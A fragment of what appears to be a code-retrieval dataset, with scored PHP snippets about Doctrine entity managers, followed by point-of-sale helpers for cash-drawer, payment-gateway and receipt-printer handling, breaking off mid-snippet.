$g->addDriver($e, 'Oro\\\\Bundle\\\\EntityExtendBundle\\\\Entity');\n $g->addDriver($e, 'Oro\\\\Bundle\\\\FormBundle\\\\Entity');\n $g->addDriver($e, 'Oro\\\\Bundle\\\\ImapBundle\\\\Entity');\n $g->addDriver($e, 'Oro\\\\Bundle\\\\NavigationBundle\\\\Entity');\n $g->addDriver($e, 'Oro\\\\Bundle\\\\OrganizationBundle\\\\Entity');\n $g->addDriver($e, 'Oro\\\\Bundle\\\\UserBundle\\\\Entity');\n $g->addDriver($e, 'Oro\\\\Bundle\\\\WindowsBundle\\\\Entity');\n $g->addDriver($e, 'Oro\\\\Bundle\\\\DataAuditBundle\\\\Entity');\n $g->addDriver($e, 'Akeneo\\\\Bundle\\\\BatchBundle\\\\Entity');\n $g->addDriver($e, 'Pim\\\\Bundle\\\\UserBundle\\\\Entity');\n $g->addDriver($e, 'Pim\\\\Bundle\\\\UIBundle\\\\Entity');\n $g->addDriver($e, 'Pim\\\\Bundle\\\\TranslationBundle\\\\Entity');\n $g->addDriver($e, 'Pim\\\\Bundle\\\\ImportExportBundle\\\\Entity');\n $g->addDriver($f, 'Pim\\\\Bundle\\\\NotificationBundle\\\\Entity');\n $g->addDriver($f, 'Pim\\\\Bundle\\\\CatalogBundle\\\\Entity');\n $g->addDriver($f, 'Pim\\\\Bundle\\\\DataGridBundle\\\\Entity');\n $g->addDriver($f, 'Pim\\\\Bundle\\\\EnrichBundle\\\\Entity');\n $g->addDriver($f, 'Pim\\\\Bundle\\\\CommentBundle\\\\Entity');\n $g->addDriver(new \\Doctrine\\ORM\\Mapping\\Driver\\AnnotationDriver($a, array(0 => (dirname(dirname(__DIR__)).'/emails/OroEmail/Cache/OroEmailBundle/Entity'))), 'OroEmail\\\\Cache\\\\OroEmailBundle\\\\Entity');\n $g->addDriver(new \\Doctrine\\ORM\\Mapping\\Driver\\YamlDriver(new \\Doctrine\\Common\\Persistence\\Mapping\\Driver\\SymfonyFileLocator(array((__DIR__.'/oro_entities/Extend/Entity') => 'Extend\\\\Entity'), '.orm.yml')), 'Extend\\\\Entity');\n $g->addDriver(new \\Doctrine\\ORM\\Mapping\\Driver\\YamlDriver(new \\Doctrine\\Common\\Persistence\\Mapping\\Driver\\SymfonyFileLocator(array((dirname(dirname(dirname(__DIR__))).'/vendor/akeneo/pim-community-dev/src/Pim/Bundle/CatalogBundle/Resources/config/model/doctrine') => 'Pim\\\\Bundle\\\\CatalogBundle\\\\Model'), '.orm.yml')), 'Pim\\\\Bundle\\\\CatalogBundle\\\\Model');\n $g->addDriver(new \\Doctrine\\ORM\\Mapping\\Driver\\YamlDriver(new \\Doctrine\\Common\\Persistence\\Mapping\\Driver\\SymfonyFileLocator(array((dirname(dirname(dirname(__DIR__))).'/vendor/akeneo/pim-community-dev/src/Pim/Bundle/VersioningBundle/Resources/config/model/doctrine') => 'Pim\\\\Bundle\\\\VersioningBundle\\\\Model'), '.orm.yml')), 'Pim\\\\Bundle\\\\VersioningBundle\\\\Model');\n\n $h = new \\Doctrine\\ORM\\Configuration();\n $h->setEntityNamespaces(array('OroConfigBundle' => 'Oro\\\\Bundle\\\\ConfigBundle\\\\Entity', 'OroEmailBundle' => 'Oro\\\\Bundle\\\\EmailBundle\\\\Entity', 'OroEntityConfigBundle' => 'Oro\\\\Bundle\\\\EntityConfigBundle\\\\Entity', 'OroEntityExtendBundle' => 'Oro\\\\Bundle\\\\EntityExtendBundle\\\\Entity', 'OroFormBundle' => 'Oro\\\\Bundle\\\\FormBundle\\\\Entity', 'OroImapBundle' => 'Oro\\\\Bundle\\\\ImapBundle\\\\Entity', 'OroNavigationBundle' => 'Oro\\\\Bundle\\\\NavigationBundle\\\\Entity', 'OroOrganizationBundle' => 'Oro\\\\Bundle\\\\OrganizationBundle\\\\Entity', 'OroUserBundle' => 'Oro\\\\Bundle\\\\UserBundle\\\\Entity', 'OroWindowsBundle' => 'Oro\\\\Bundle\\\\WindowsBundle\\\\Entity', 'OroDataAuditBundle' => 'Oro\\\\Bundle\\\\DataAuditBundle\\\\Entity', 'AkeneoBatchBundle' => 'Akeneo\\\\Bundle\\\\BatchBundle\\\\Entity', 'PimUserBundle' => 'Pim\\\\Bundle\\\\UserBundle\\\\Entity', 'PimUIBundle' => 'Pim\\\\Bundle\\\\UIBundle\\\\Entity', 'PimNotificationBundle' => 'Pim\\\\Bundle\\\\NotificationBundle\\\\Entity', 'PimCatalogBundle' => 'Pim\\\\Bundle\\\\CatalogBundle\\\\Entity', 'PimDataGridBundle' => 'Pim\\\\Bundle\\\\DataGridBundle\\\\Entity', 'PimTranslationBundle' => 'Pim\\\\Bundle\\\\TranslationBundle\\\\Entity', 'PimImportExportBundle' => 'Pim\\\\Bundle\\\\ImportExportBundle\\\\Entity', 'PimEnrichBundle' => 'Pim\\\\Bundle\\\\EnrichBundle\\\\Entity', 'PimCommentBundle' => 'Pim\\\\Bundle\\\\CommentBundle\\\\Entity'));\n $h->setMetadataCacheImpl($b);\n $h->setQueryCacheImpl($c);\n $h->setResultCacheImpl($d);\n $h->setMetadataDriverImpl($g);\n $h->setProxyDir((__DIR__.'/doctrine/orm/Proxies'));\n $h->setProxyNamespace('Proxies');\n $h->setAutoGenerateProxyClasses(true);\n $h->setClassMetadataFactoryName('Oro\\\\Bundle\\\\EntityExtendBundle\\\\Mapping\\\\ExtendClassMetadataFactory');\n $h->setDefaultRepositoryClassName('Doctrine\\\\ORM\\\\EntityRepository');\n $h->setNamingStrategy(new \\Doctrine\\ORM\\Mapping\\DefaultNamingStrategy());\n\n $this->services['doctrine.orm.default_entity_manager'] = $instance = call_user_func(array('Oro\\\\Bundle\\\\EntityBundle\\\\ORM\\\\OroEntityManager', 'create'), $this->get('doctrine.dbal.default_connection'), $h);\n\n $instance->setFilterCollection($this->get('oro_entity.orm.sql_filter_collection'));\n $instance->setExtendManager($this->get('oro_entity_extend.extend.extend_manager'));\n $this->get('doctrine.orm.default_manager_configurator')->configure($instance);\n\n return $instance;\n }", "title": "" }, { "docid": "2a674810baea4a873e2cbf8b84b83c59", "score": "0.7107835", "text": "public function getEntityManager()\n {\n if (!$this->entityManager) {\n throw new \\Exception('Repository requires entity manager to persist data');\n }\n return $this->entityManager;\n }", "title": "" }, { "docid": "c1091f7b6bc1f2323da452324898f028", "score": "0.7060696", "text": "public function getObjectManager()\r\n {\r\n return $this->objectManager;\r\n }", "title": "" }, { "docid": "1c0b9c90a04dfed5b575c3b530d86750", "score": "0.7037703", "text": "public function getDoctrine() {\n \treturn $this->getContainer()->get('doctrine');\n }", "title": "" }, { "docid": "22f99bd7f93047fa27d1012ef9911411", "score": "0.7035315", "text": "public function getObjectManager()\n {\n return $this->objectManager;\n }", "title": "" }, { "docid": "22f99bd7f93047fa27d1012ef9911411", "score": "0.7035315", "text": "public function getObjectManager()\n {\n return $this->objectManager;\n }", "title": "" }, { "docid": "22f99bd7f93047fa27d1012ef9911411", "score": "0.7035315", "text": "public function getObjectManager()\n {\n return $this->objectManager;\n }", "title": "" }, { "docid": "22f99bd7f93047fa27d1012ef9911411", "score": "0.7035315", "text": "public function getObjectManager()\n {\n return $this->objectManager;\n }", "title": "" }, { "docid": "d259e69c5cdc6df43545e47836891bee", "score": "0.69818515", "text": "protected function getDoctrineEntityManager(): EntityManagerInterface\n {\n $paths = [\n \\implode(\\DIRECTORY_SEPARATOR, [\\realpath(__DIR__), '..', '..', 'src', 'Database', 'Entities']),\n \\implode(\\DIRECTORY_SEPARATOR, [\\realpath(__DIR__), '..', 'Stubs', 'Database', 'Entities']),\n ];\n $setup = new Setup();\n $config = $setup::createAnnotationMetadataConfiguration($paths, true, null, null, false);\n $dbParams = ['driver' => 'pdo_sqlite', 'memory' => true];\n\n return EntityManager::create($dbParams, $config);\n }", "title": "" }, { "docid": "22e199af70582c9a9f15bbf52282aa40", "score": "0.6969763", "text": "public function getManager()\n {\n return $this->manager;\n }", "title": "" }, { "docid": "22e199af70582c9a9f15bbf52282aa40", "score": "0.6969763", "text": "public function getManager()\n {\n return $this->manager;\n }", "title": "" }, { "docid": "22e199af70582c9a9f15bbf52282aa40", "score": "0.6969763", "text": "public function getManager()\n {\n return $this->manager;\n }", "title": "" }, { "docid": "22e199af70582c9a9f15bbf52282aa40", "score": "0.6969763", "text": "public function getManager()\n {\n return $this->manager;\n }", "title": "" }, { "docid": "7df586b81ce477e4a7e6f8e24029a989", "score": "0.69062805", "text": "protected function getObjectManager()\n {\n return $this->objectManager;\n }", "title": "" }, { "docid": "e40cc20428e1b05429a36a8cf8ebaed6", "score": "0.6891413", "text": "public function getManager() {\n return $this->manager;\n }", "title": "" }, { "docid": "f6f454b66f83ecda58bfda49f6ee67b5", "score": "0.6872883", "text": "protected function getObjectManager()\n {\n return $this->_objectManager;\n }", "title": "" }, { "docid": "f6f454b66f83ecda58bfda49f6ee67b5", "score": "0.6872883", "text": "protected function getObjectManager()\n {\n return $this->_objectManager;\n }", "title": "" }, { "docid": "0dace05b2fcd3ec3e6d5d1f5bbd1b814", "score": "0.68513453", "text": "public function getDoctrine(): ManagerRegistry\n {\n if ( !$this->getContainer()->has( 'doctrine' ) ) {\n throw new LogicException( 'The DoctrineBundle is not registered in your application. Try running \"composer require symfony/orm-pack\".' );\n }\n\n return $this->getContainer()->get( 'doctrine' );\n }", "title": "" }, { "docid": "078373b4556ff19595db9fc9e837e1d1", "score": "0.68342143", "text": "public function getManager()\n\t{\n\t\treturn $this->manager;\n\t}", "title": "" }, { "docid": "acfd72e5d33fa34f0caa2edf3938f965", "score": "0.68341446", "text": "protected function getEm($name = null){\n return $this->getDoctrine()->getManager($name);\n }", "title": "" }, { "docid": "41ad3ee8f07c6bc7329df017c9860915", "score": "0.6821136", "text": "public function getManager() {\n\t\treturn $this->manager;\n\t}", "title": "" }, { "docid": "baf2e79f494e3df3032783c52ede21c2", "score": "0.68202144", "text": "public function getObjectManager() {\n\t\tif(($this->objectManager instanceof \\TYPO3\\CMS\\Extbase\\Object\\ObjectManager) === false) {\n\t\t\t$this->objectManager = \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::makeInstance(\\TYPO3\\CMS\\Extbase\\Object\\ObjectManager::class);\n\t\t}\n\n\t\treturn $this->objectManager;\n\t}", "title": "" }, { "docid": "ddd2a4b5d69535e0d2f0ef948bd00b08", "score": "0.6789043", "text": "function getManager() \n {\n return $this->manager;\n }", "title": "" }, { "docid": "da1767c3e265c08b29a63df280dc04d9", "score": "0.67737764", "text": "protected function getOroEntityConfig_Link_EntityManagerService()\n {\n return $this->services['oro_entity_config.link.entity_manager'] = new \\Oro\\Bundle\\EntityConfigBundle\\DependencyInjection\\Utils\\ServiceLink($this, 'doctrine.orm.default_entity_manager', false);\n }", "title": "" }, { "docid": "8fb0d1e35a76b8b88c0f8e6e9e251897", "score": "0.6745947", "text": "public static function getEntityFieldManager() {\n return \\Drupal::service('entity_field.manager');\n }", "title": "" }, { "docid": "cf1ec836fa651ef6ae99db78bcd9af0c", "score": "0.6718008", "text": "public function entity()\n {\n return Manager::class;\n }", "title": "" }, { "docid": "fd03bf28c495b4dc07d816c9bfd8dd54", "score": "0.6687626", "text": "public function getManagerForClass($class);", "title": "" }, { "docid": "e7202f6718aac9a49d1be604915e5d2a", "score": "0.66873837", "text": "public function getObjectManager() {}", "title": "" }, { "docid": "4522139e012244c91ec39891d80181d8", "score": "0.6664691", "text": "private function getEntityManagerMock(): EntityManagerInterface\n {\n return $this->createMock(EntityManagerInterface::class);\n }", "title": "" }, { "docid": "05042a4a57af9cfa0e5cc707c2061b22", "score": "0.6645907", "text": "protected static function getFacadeAccessor() {\n\t\t\treturn 'Doctrine\\ORM\\EntityManager';\n\t\t}", "title": "" }, { "docid": "38bc089ffc945b8b6ee6c846134d4fdf", "score": "0.6618593", "text": "protected function getObjectManager() {}", "title": "" }, { "docid": "25337361f0189945a56cdfa0f5f39553", "score": "0.66166365", "text": "public function getManager(): ManagerInterface;", "title": "" }, { "docid": "47097adddb3d36d99f9f46ecd49599bc", "score": "0.6588273", "text": "public function getManager(): ?Manager\n {\n try {\n $annotation = (new Annotation($this))->getClassAnnotation('Manager');\n if ($annotation) {\n $manager = $annotation->getProperty();\n if ($manager) {\n $manager = app()->get($manager);\n }\n } else {\n try {\n $shortEntity = (new ReflectionClass($this))->getShortName();\n $explodedNamespace = explode('\\\\', get_class($this));\n $entityIndex = array_search('Entities', $explodedNamespace);\n $explodedNamespace = array_slice($explodedNamespace, 0, $entityIndex);\n $moduleNamespace = join('\\\\', $explodedNamespace) . \"\\Managers\\\\{$shortEntity}Manager\";\n if (!class_exists($moduleNamespace)) {\n return null;\n }\n $manager = app()->get($moduleNamespace);\n } catch (Exception $ex) {\n return null;\n }\n }\n return $manager;\n } catch (Exception $ex) {\n return null;\n }\n }", "title": "" }, { "docid": "abfd00a4907aed0bfbcf6dca94f625c1", "score": "0.657655", "text": "public function getDoctrine() {\n\t\treturn $this->doctrine;\n\t}", "title": "" }, { "docid": "5f80f87d2c0a20731e41046e03c851bc", "score": "0.6530605", "text": "public function getManager(){\n return $this->_manager;\n }", "title": "" }, { "docid": "22f23ef3a8cfbc4e748baface33799be", "score": "0.65125746", "text": "public function getEntityManager($class): EntityManagerInterface\n {\n if (\\is_object($class)) {\n $class = \\get_class($class);\n }\n\n if (!isset($this->cache[$class])) {\n $em = $this->registry->getManagerForClass($class);\n\n if (!$em instanceof EntityManagerInterface) {\n throw new \\RuntimeException(sprintf('No entity manager defined for class %s', $class));\n }\n\n $this->cache[$class] = $em;\n }\n\n return $this->cache[$class];\n }", "title": "" }, { "docid": "72dc9ae28193a01fbaee498d87e22819", "score": "0.6473114", "text": "public function getEntityManager($name = self::DEFAULT_ENTITYMANAGER_NAME) {\n\t\t\n\t\tif (empty($name)) {\n\t\t\tthrow new Exception(\"Entity Manager alias name should be set\");\n\t\t} elseif (isset($this->_entityManagers[$name])) {\n\t\t\tthrow new Exception(\"Entity Manager '{$name}' is not set\");\n\t\t}\n\t\t\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "6a806607f3c85c89260d3e67488295c0", "score": "0.64344656", "text": "public function getDoctrineEm($connection = '')\n {\n $app = $this->getApp();\n\n if (empty($connection)) {\n if (!isset($app['orm.em'])) {\n throw new FatalErrorException('The DoctrineOrmServiceProvider is not registered in this application');\n }\n\n return $app['orm.em'];\n }\n\n if (!isset($app['orm.ems'][$connection])) {\n throw new FatalErrorException(sprintf(\n 'The DoctrineOrmServiceProvider is not registered in this application or the connection %s not exists',\n $connection\n ));\n }\n\n return $app['orm.ems'][$connection];\n }", "title": "" }, { "docid": "8ddfc51862ba1135041d70c45f740bd4", "score": "0.64193785", "text": "public function _initDoctrineService()\n {\n $em = $this->bootstrap('doctrine')->getResource('doctrine');\n DoctrineService::setDefaultEntityManager($em);\n }", "title": "" }, { "docid": "1ec6a5a66de8fb9967aed308f1101696", "score": "0.63894624", "text": "protected function getObjectManager()\n {\n if (!isset($this->ldapObjectManager[$this->context])) {\n $this->ldapObjectManager[$this->context] = new LdapObjectManager(\n $this->getConnection(),\n $this->getSchemaFactory(),\n $this->config->getEventDispatcher()\n );\n }\n\n return $this->ldapObjectManager[$this->context];\n }", "title": "" }, { "docid": "b98481b0fd703392069d9cbd492edec7", "score": "0.6385495", "text": "public function getManager($name = null);", "title": "" }, { "docid": "3fdc93940415677976b172d18d24c3c9", "score": "0.6370721", "text": "protected function getDoctrineService()\n {\n return $this->services['doctrine'] = new \\Doctrine\\Bundle\\DoctrineBundle\\Registry($this, array('default' => 'doctrine.dbal.default_connection'), array('default' => 'doctrine.orm.default_entity_manager'), 'default', 'default');\n }", "title": "" }, { "docid": "3fae178fd8f377635c1751f6a2af1bbf", "score": "0.6360977", "text": "public function getEntityManager($fullyQualifiedClassName)\n {\n if (empty($this->container)) {\n throw new \\RuntimeException('Could not obtain service container.');\n }\n\n try {\n $em = $this->container->get('doctrine')->getManagerForClass($fullyQualifiedClassName);\n }\n catch (\\Exception $e) {\n // The most common cause for an exception is that the entity name is not mapped to an entity mnanager,\n // This could be because cache needs to be cleared.\n throw new \\RuntimeException(sprintf(\"Failed to get entity manager for class '%s'.\", $fullyQualifiedClassName), 0, $e);\n }\n\n\n return $em;\n }", "title": "" }, { "docid": "85a157cd4e729982da91b987278a4ad5", "score": "0.63454026", "text": "protected function getDoctrineService()\n {\n return $this->services['doctrine'] = new \\Doctrine\\Bundle\\DoctrineBundle\\Registry($this, array('default' => 'doctrine.dbal.default_connection', 'report_source' => 'doctrine.dbal.report_source_connection', 'report_target' => 'doctrine.dbal.report_target_connection'), array('default' => 'doctrine.orm.default_entity_manager'), 'default', 'default');\n }", "title": "" }, { "docid": "bfc89fcb74cf6240090afcb2bd1109f7", "score": "0.63429207", "text": "protected function getDoctrine()\n {\n if (!$this->container->has('doctrine')) {\n throw new \\LogicException('The DoctrineBundle is not registered in your application.');\n }\n\n return $this->container->get('doctrine');\n }", "title": "" }, { "docid": "6d64e73d87520c394d80c9f48d42d1bb", "score": "0.6338352", "text": "protected function getDoctrine()\n {\n $container = $this->getContainer();\n if (!$container->has('doctrine')) {\n throw new \\LogicException('The DoctrineBundle is not registered in your application.');\n }\n\n return $container->get('doctrine');\n }", "title": "" }, { "docid": "c5efc9e16ed92efcda109d2fd405bd00", "score": "0.63248676", "text": "public function manager(): Manager\n {\n return $this->manager;\n }", "title": "" }, { "docid": "7a9c79e95a2f60f3d703a1e0f2f48d7f", "score": "0.63212633", "text": "public function manager()\n {\n \treturn $this->hasOne(manager::class);\n }", "title": "" }, { "docid": "8761daf683fc1641c7a8dff01925642b", "score": "0.6283957", "text": "protected static function getFacadeAccessor()\n {\n return 'lrezek.neo4laravel.entitymanager';\n }", "title": "" }, { "docid": "a58eef8a0ac3990f1279b9291ea17cbe", "score": "0.62734026", "text": "public function getDatabaseManager();", "title": "" }, { "docid": "66fe54a9e9112f19813811f92e6c831a", "score": "0.6266085", "text": "protected function buildEntityManager(): EntityManager\n\t{\n\t\t$this->entityPath = static::doctrineMetadataPath();\n\n\t\treturn $this->entityManager = EntityManager::create(\n\t\t\t[\n\t\t\t\t'driver' => $ENV['DB_DRIVER'] ?? 'pdo_mysql',\n\t\t\t\t'user' => $ENV['DB_USER'] ?? 'devuser',\n\t\t\t\t'password' => $ENV['DB_PASS'] ?? 'password',\n\t\t\t\t'host' => $ENV['DB_HOST'] ?? 'localhost',\n\t\t\t\t'dbname' => $ENV['DB_NAME'] ?? 'dev'\n\t\t\t],\n\t\t\tSetup::createXMLMetadataConfiguration([$this->entityPath], true)\n\t\t);\n\t}", "title": "" }, { "docid": "0cd5136567797a8702541ecc3554b434", "score": "0.62655467", "text": "public static function createManagerForTest()\n {\n $container = self::createContainer();\n $container['isTestMode'] = true;\n\n return new self($container->get('doctrine.entityManager'));\n }", "title": "" }, { "docid": "0c1880a3bcf6dd34903f2f25722872c9", "score": "0.6255458", "text": "public function getEntityRepository()\n {\n return $this->entityRepository;\n }", "title": "" }, { "docid": "de56f887a788cb4aeaa51ff5d1e589aa", "score": "0.62369746", "text": "public function getEntityTypeManagerMock(){\n $manager = $this->prophet->prophesize('Drupal\\Core\\Entity\\EntityTypeManagerInterface');\n $storage = $this->getStorageMock()->reveal();\n try {\n $manager->getStorage(Argument::type('string'))->willReturn($storage);\n } catch (InvalidPluginDefinitionException $e) {\n } catch (PluginNotFoundException $e) {\n }\n return $manager;\n }", "title": "" }, { "docid": "f2e08425e4c2e10fd7db6259bd98bc5c", "score": "0.621295", "text": "public static function getDoctrineSchemaManager()\n {\n }", "title": "" }, { "docid": "43520e977cd173fd6ddd8ffa79aaa2bc", "score": "0.6194567", "text": "public function db(){\n\treturn Manager::getManager($this);\n }", "title": "" }, { "docid": "c41905510aa366dcb159432dfb5ea7af", "score": "0.6190711", "text": "public static function getDoctrineConnection()\n {\n }", "title": "" }, { "docid": "77b341a3beb6601a1d26a0a03375f929", "score": "0.6180293", "text": "public function getRepository()\n {\n return $this->em->getRepository($this->bundleName . ':' . $this->entityClass);\n }", "title": "" }, { "docid": "0a9ee2f78a9cd16010f85f5f65cd8ec3", "score": "0.6171642", "text": "private function getDbMan()\n {\n global $DB;\n\n return $DB->get_manager();\n }", "title": "" }, { "docid": "e75ff73a601729f6f34f3b7d731f0a5e", "score": "0.6157517", "text": "public function getDocumentManager()\n {\n return $this->getObjectManager();\n }", "title": "" }, { "docid": "4f10760c263f5ecc268bf6993e5d4583", "score": "0.61380607", "text": "protected function getDatabaseManager() {\n return $this->databaseManager;\n }", "title": "" }, { "docid": "46de351b18bf6c259309d8d70df5fb23", "score": "0.613755", "text": "public function getRepository()\n {\n return self::$em->getRepository($this->entityName);\n }", "title": "" }, { "docid": "ff01c6571abe9ec374c7147e096e41ed", "score": "0.61293536", "text": "protected function getManager()\n {\n if (self::$manager === null) {\n self::$manager = Shopware()->Models();\n }\n\n return self::$manager;\n }", "title": "" } ]
4e916a8e9c00526f2fddf40cf7a6059c
we basically want the cash drawer linked to the terminal.
[ { "docid": "0eb83d15cf7cb8887f72e84145e1b031", "score": "0.0", "text": "function createPaymentGatewaySelect($name, $pos_payment_gateway_id, $tags = '')\n{\n\t//I believe we are linking the drawer upon open and releasing the link on close.\n\t//Can a terminal access any cash drawer? Probalby not, but lets start there....\n\t\n\t$gateways = getSQL(\"SELECT pos_payment_gateway_id, gateway_provider, company, model_name, account_number, line FROM pos_payment_gateways LEFT JOIN pos_accounts USING (pos_account_id) WHERE pos_payment_gateways.active = 1\");\n\t\n\t$html = '<select style=\"width:100%\" id = \"'.$name.'\" name=\"'.$name.'\" ';\n\t$html .= $tags;\n\t$html .= '>';\n\t//Add an option for not selected\n\t$html .= '<option value=\"false\">Select Account</option>';\n\t//add an option for all accounts\n\t\n\tfor($i = 0;$i < sizeof($gateways); $i++)\n\t{\n\t\t$html .= '<option value=\"' . $gateways[$i]['pos_payment_gateway_id'] . '\"';\n\t\t\n\t\tif ( ($gateways[$i]['pos_payment_gateway_id'] == $pos_payment_gateway_id) ) \n\t\t{\n\t\t\t$html .= ' selected=\"selected\"';\n\t\t}\n\t\t\t\n\t\t$html .= '>' . $gateways[$i]['gateway_provider'] . ' ' . $gateways[$i]['line'] . ' ' . $gateways[$i]['company'] . ' ' . ' ' . $gateways[$i]['model_name'] . ' ' .craigsDecryption($gateways[$i]['account_number']) . '</option>';\n\t}\n\t$html .= '</select>';\n\treturn $html;\n\n}", "title": "" } ]
[ { "docid": "42c04b37ab79a2be345c5d97241deea3", "score": "0.6723801", "text": "public function cashflowTerminal()\n {\n $this->builder->textFont('C');\n $this->builder->textAlign('RIGHT');\n $this->builder->textDouble();\n $this->builder->textStyle();\n $this->builder->text($this->labels->terminal . ': ' . $this->terminal['name']);\n $this->linebreak();\n $this->builder->text($this->labels->operator . ': ' . $this->cashflow['lastmodifiedby']);\n $this->linebreak();\n }", "title": "" }, { "docid": "9b997926700f9d257baf301d6eb649cd", "score": "0.53836375", "text": "function printMenu()\n{\n echo str_repeat('*', 48) . PHP_EOL;\n echo '*' . str_pad('Hi there, what would you like to do?', 46, \" \", STR_PAD_BOTH) . \"*\\n\";\n echo str_repeat('*', 48) . PHP_EOL;\n echo '*' . str_pad(' 1 - Start a new game', 46, \" \", STR_PAD_RIGHT) . \"*\\n\";\n echo '*' . str_pad(' 2 - Exit', 46, \" \", STR_PAD_RIGHT) . \"*\\n\";\n echo str_repeat('*', 48) . PHP_EOL;\n echo \"Enter your choice from 1 to 2 ::\";\n}", "title": "" }, { "docid": "65db957332e398167f662b7497936f3d", "score": "0.5184446", "text": "function display_menu()\n{\n $ussd_text = \"Welcome to the d.light solar English menu.\";\n $ussd_text .= \" please select a service below;\\n\";\n $ussd_text .= \"\\n\";\n $ussd_text .= \"1.Tokens\\n2.Register warrant\\n3.My account \"; // add \\n so that the menu has new lines\n ussd_proceed($ussd_text);\n\n}", "title": "" }, { "docid": "d37f30ba6fe1a0dce2b1cd0da099b835", "score": "0.51801825", "text": "function drawMenu($menus)\n{\n global $rootPath;\n $menuId = 0;\n $input = \"\";\n $index = 0;\n\n while ($input !== \"quit\") {\n write(\"\\e[H\\e[J\"); //clear screen\n writeLine(str_repeat(\"=\", 100));\n writeLine(\"TINA4 - MENU ({$rootPath})\");\n writeLine(str_repeat(\"=\", 100));\n\n if ($menuId !== 0) {\n $found = false;\n foreach ($menus as $mid => $menu) {\n if ($menuId === $menu[\"id\"]) {\n $prompt = call_user_func($menu[\"menuCode\"], $index, $input, null);\n $index = $prompt[\"index\"];\n if ($index === 0) {\n $menuId = 0;\n } else {\n $input = readLn($prompt[\"prompt\"]);\n $found = true;\n }\n }\n }\n if (!$found) {\n $menuId = 0;\n }\n } else {\n foreach ($menus as $id => $menu) {\n if (!isset($menu[\"show\"])) {\n $menu[\"show\"] = true;\n }\n if ($menu[\"show\"]) {\n writeLine(($menu[\"id\"]) . \".) \" . $menu[\"description\"]);\n }\n\n }\n $input = readLn(\"Choose menu option or type \\\"quit\\\" to Exit:\");\n $menuId = (int)$input;\n }\n }\n}", "title": "" }, { "docid": "fdb5102f051a1d253d06c012e3e5e512", "score": "0.51569325", "text": "public function draw()\n\t{\n\t\techo \"\\033[\" . $this->positionX . \";\" . $this->positionY . \"f fish #\" . $this->name;\n\t}", "title": "" }, { "docid": "54112839b01195568680b80e4ee2a3b3", "score": "0.5153427", "text": "public function tab()\n\t{\n\t\treturn 'cash';\n\t}", "title": "" }, { "docid": "b04591bc42b623276b1862698d3111c1", "score": "0.51511043", "text": "public function writeMenu() {}", "title": "" }, { "docid": "b04591bc42b623276b1862698d3111c1", "score": "0.51505184", "text": "public function writeMenu() {}", "title": "" }, { "docid": "b04591bc42b623276b1862698d3111c1", "score": "0.51502573", "text": "public function writeMenu() {}", "title": "" }, { "docid": "b04591bc42b623276b1862698d3111c1", "score": "0.51502573", "text": "public function writeMenu() {}", "title": "" }, { "docid": "7f3bbb4444bf292320a5e624e231db8e", "score": "0.5127406", "text": "function createCashDepositAccountSelect($name, $pos_account_id)\n{\n\t//I believe we are linking the drawer upon open and releasing the link on close.\n\t//Can a terminal access any cash drawer? Probalby not, but lets start there....\n\t\n\t$registers = getSQL(\"SELECT pos_account_id, legal_name, account_number, pos_store_id FROM pos_accounts LEFT JOIN pos_account_type USING (pos_account_type_id) WHERE pos_accounts.active = 1 AND account_type_name = 'Cash Register Account'\");\n\n\t$html = '<select style=\"width:100%\" id = \"'.$name.'\" name=\"'.$name.'\" ';\n\t$html .= ' onchange=\"needToConfirm=true\" ';\n\t$html .= '>';\n\t//Add an option for not selected\n\t$html .= '<option value=\"false\">Select Account</option>';\n\t//add an option for all accounts\n\t\n\tfor($i = 0;$i < sizeof($registers); $i++)\n\t{\n\t\t$html .= '<option value=\"' . $registers[$i]['pos_account_id'] . '\"';\n\t\t\n\t\tif ( $registers[$i]['pos_account_id'] == $pos_account_id ) \n\t\t{\n\t\t\t\n\t\t\t$html .= ' selected=\"selected\"';\n\t\t}\n\t\t\t\n\t\t$html .= '>' .$registers[$i]['legal_name'] . ' ' . craigsDecryption($registers[$i]['account_number']) . '</option>';\n\t}\n\t$html .= '</select>';\n\treturn $html;\n}", "title": "" }, { "docid": "dbdc74fd0ba0bfcccc0328a75001d08f", "score": "0.502151", "text": "public function cashBoxAction()\n {\n $events = $this->manager->getRepository('Event\\Doctrine\\Orm\\Event')->findBy(array(), array('date' => 'ASC'));\n $donations = $this->manager->getRepository('Event\\Doctrine\\Orm\\Donation')->findAll();\n $cashBox = new CashBox();\n $cashBox->setEvents(new ArrayCollection($events));\n $cashBox->setDonations(new ArrayCollection($donations));\n return $this->renderView('cashBox', array(\n 'title' => 'Die Kasse im Überblick',\n 'cashBox' => $cashBox,\n ));\n }", "title": "" }, { "docid": "a3c288d4d4410d079f2c487ab08f8797", "score": "0.49703324", "text": "function DashTab ()\n {\n \n }", "title": "" }, { "docid": "2ada0c10215f6d725128b0d7c1b988f5", "score": "0.49574077", "text": "private function draw() {\n $this->perc = floor(($this->done / $this->total) * 100);\n $bar_perc = floor(($this->done / $this->total) * $this->bar_length);\n $left = $this->bar_length - $bar_perc;\n\n $write = sprintf(\"\\033[0G\\033[2K $this->done/$this->total [%'={$bar_perc}s>%-{$left}s] - $this->perc%%\", \"\", \"\");\n if ($this->done >= $this->total) $write .= \"\\n\";\n fwrite(STDERR, $write);\n }", "title": "" }, { "docid": "0531f0ccfaccfc0406ef63bd029cf2d0", "score": "0.49409038", "text": "public function cash($id) {\n// $cash = array_shift($cash);\n $this->checked = 0;\n $this->dispatchBrowserEvent('cash-detail', $id);\n }", "title": "" }, { "docid": "38084401b807079e3a5a487c577f900c", "score": "0.49397543", "text": "public function farb_tool () {\n\t\techo <<<EOT\n<div id=\"farb_tool\">\n\t<h2 id=\"set_color\">Farbtool</h2>\n\t<div id=\"red\" class=\"slider advanced\">\n\t\t<div class=\"knob\">\n\t\t</div>\n\t</div>\n\t<div id=\"green\" class=\"slider advanced\">\n\t\t<div class=\"knob\">\n\t\t</div>\n\t</div>\n\t<div id=\"blue\" class=\"slider advanced\">\n\t\t<div class=\"knob\">\n\t\t</div>\n\t</div>\n</div>\nEOT;\n\t}", "title": "" }, { "docid": "abcb61c8858b81d249fb7774748e76ca", "score": "0.4918178", "text": "public function dash()\n\t{\n\t\t\n\t\t$this->sidebar(\"\");\n\t\t$this->main_page();\n\t\t\n\t}", "title": "" }, { "docid": "a44343728511450445e53b48c90e0a4a", "score": "0.48532504", "text": "function teste(){\n // $connector = null;\n\n\n$connector = new WindowsPrintConnector(\"itautec\");\n\n /* Print a \"Hello world\" receipt\" */\n $printer = new Printer($connector);\n $printer -> setJustification(Printer::JUSTIFY_CENTER);\n $printer -> 